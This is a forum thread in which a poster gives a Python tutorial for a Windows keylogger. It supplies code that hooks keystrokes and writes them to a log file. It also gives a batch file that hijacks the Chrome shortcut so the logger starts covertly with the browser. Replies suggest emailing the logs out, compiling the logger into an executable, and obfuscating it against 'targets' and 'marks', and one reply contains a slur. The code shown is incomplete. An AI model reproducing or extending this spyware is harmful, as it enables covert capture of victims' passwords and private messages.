chevron_left chevron_right
Login Register invert_colors photo_library

Stay updated and chat with others! - Join the Discord!

Basic Keylogger filter_list
Basic Keylogger #1
It's been a while since I did a Python tutorial. Or a tutorial at that.

This is a very basic keylogger that we can create using Python for Windows.

I am not responsible for any hacking incidents found using this logger. I do this to teach, not to encourage hacking. If you abuse it, you are at your own user discretion.

Now then, we begin.

You must have PyHook and PyWin for this to work. You also need to have Notepad++ or at the very least, notepad. And of course Python.

Download Links
Click on the link that corresponds to your python version. PyWin PyHook Notepad++

Now that we've downloaded our stuff, it's time to do this thing.

You're going to write out your imports.

You need pyHook, pythoncom, sys, and logging

import pyHook, pythoncom, sys, logging

Now that you have your imports, go ahead and tell the keylogger where to save stuff.

file_log = 'c:\\Location\\log.txt'

Now in the Python language, for it to understand the location, put two backslashes, not one.

You'll need to define an event, the "OnKeyboardEvent".
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')

Now outside of the event we will do a few more things...

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent

All of this creates the logger and that alone.

Make sure you know the location where you saved this for later too.

Why do we need Notepad++? To put it simply, creating a batch file. You could however use Notepad++ creating this logger too, but since I'm a noob I prefer IDLE.

We will write this out to execute the logger AND whatever the program they are using.

For example, let's use Google Chrome.

@echo off
start "" "C:\Location\Log.pyw"
start "" "C:\Users\username\AppData\Local\Google\Chrome\Application\chrome.exe"

Save that as a .bat file somewhere in the computer. Go to the Google Chrome shortcut, and change the properties to open "C:\Location\log.bat".
Apply and close the properties.

Now whenever something is typed in Google Chrome, the logger will write it in the file "log.txt".

That's all for now.
More tutorials later. Once more I am not responsible for your uses of the logger.



RE: Basic Keylogger #2
Very basic indeed, but a good first-time guide.
[Image: R5aCcWV.png]


RE: Basic Keylogger #3
Nice tutorial. I'm looking for one that'd email me somehow. Idrk. But this is a nice tut anyway.

Ps. You love beef don't you?


RE: Basic Keylogger #4
(01-17-2014, 11:49 PM)Sparks Wrote: Ps. You love beef don't you?

Very much.


RE: Basic Keylogger #5
Why not use Python for a keylogger?
Granted, you'd need to use different modules for different OSes, but there's no real reason why you shouldn't, it's not like it's a CPU intensive task.

It may not be the best language for the task at hand, but that doesn't mean much if it's the language you know/prefer.
[Image: tumblr_m73y8go3jd1rb7u8co1_500.gif]
Avatars are for faggots.


RE: Basic Keylogger #6
Because, by definition, using Python for a keylogger requires python. And, since it's an IL, the source code is easily checked for bad things going on, and the calls are easily hooked and avoided.


RE: Basic Keylogger #7
Python is pre-loaded on all OSes, save any Windows, and you can effortlessly deal with that by compiling to an executable, a portion on which would greatly benefit this tutorial.
So it's not like it has to be installed separately in any case.

And you'd be masking the keylogger somehow anyway, wouldn't you? Either that, or you're otherwise activating it without the targets knowledge, as if you had physical access to the system.

So it doesn't matter that it's an IL, just obfuscate the malicious portion, or embed it in something.
Or just do what the tutorial says. You overestimate the average mark, friend.
[Image: tumblr_m73y8go3jd1rb7u8co1_500.gif]
Avatars are for faggots.


Users browsing this thread: 1 Guest(s)